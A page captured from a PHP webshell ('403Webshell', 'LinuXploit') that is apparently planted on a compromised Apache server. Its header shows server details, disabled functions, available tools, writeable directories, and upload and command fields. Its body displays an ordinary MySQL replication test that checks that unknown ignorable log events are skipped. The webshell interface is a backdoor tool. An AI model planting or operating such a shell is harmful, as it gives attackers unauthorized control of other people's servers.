403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.69.176.159
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_unknown_ignorable_event.test
# ==== Purpose ====
#
# Bug#19949915  IGNORABLE EVENTS DO NOT WORK AND ARE NOT TESTED
#
# Problem:
#  In 5.6, Ignorable log events were introduced. These events have
#  the flag LOG_EVENT_IGNORABLE_F flag (0x80) set in the flags field.
#  When the server (specifically, the replication receiver and applier
#  threads) sees an event with a type code it does not recognize, the
#  server is supposed to check if this flag is set. If the flag is not
#  set, the server generates an error and stops; if the flag is set,
#  the server ignores the event. The purpose is to allow future server
#  versions to introduce new event types that the slave can ignore
#  (such as informational event types). However, this does not work,
#  since the slave applier thread explicitly checks if the type code
#  is in the range of known event types, and reports an error, before
#  it goes further and checks if the event is ignorable.
# Fix:
#  The slave applier thread does not check if this is a known event
#  type any more.
#
# Steps to reproduce:
#  1) Set a debug point on slave to simulate unknown ignorable log events.
#  2) Write a write_rows log event and a previous gtids log event
#     if gtid mode is on to binlog on master.
#  3) The slave receiver thread simulates an unknown ignorable
#     log event by rewriting the write rows log event and
#     previous gtids log event if gtid mode is on before
#     writing it(them) in relay log.
#  4) Verify that the slave applier thread skips the unknown ignorable
#     log event.
#

--source include/not_group_replication_plugin.inc
--source include/have_binlog_format_row.inc
--source include/have_debug.inc
--source include/have_debug_sync.inc
--source include/master-slave.inc

CREATE TABLE t1 (c1 INT) ENGINE=InnoDB;
--source include/sync_slave_sql_with_master.inc
--echo # Set a debug point on slave to simulate unknown ignorable log events.
SET @save_debug=@@global.debug;
SET GLOBAL DEBUG='d,simulate_unknown_ignorable_log_event';

--source include/rpl_connection_master.inc

--echo # Write a previous_gtids log event to binlog
--echo # on master if gtid mode is on.
FLUSH LOGS;
--echo # Write a write_rows log event to binlog on master.
INSERT INTO t1 VALUES (1);

--echo # The slave receiver thread simulates an unknown ignorable
--echo # log event by rewriting the write_rows log event and
--echo # previous_gtids log event if gtid mode is on before
--echo # writing it(them) in relay log.
--source include/sync_slave_sql_with_master.inc

--echo # Verify that the slave applier thread skips these unknown ignorable
--echo # log event.
--let $assert_text= Table t1 must not contain 1
--let $assert_cond= [SELECT count(*) FROM t1 WHERE c1=1] = 0
--source include/assert.inc
SET GLOBAL DEBUG= @save_debug;

# Cleanup
--source include/rpl_connection_master.inc
DROP TABLE t1;
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit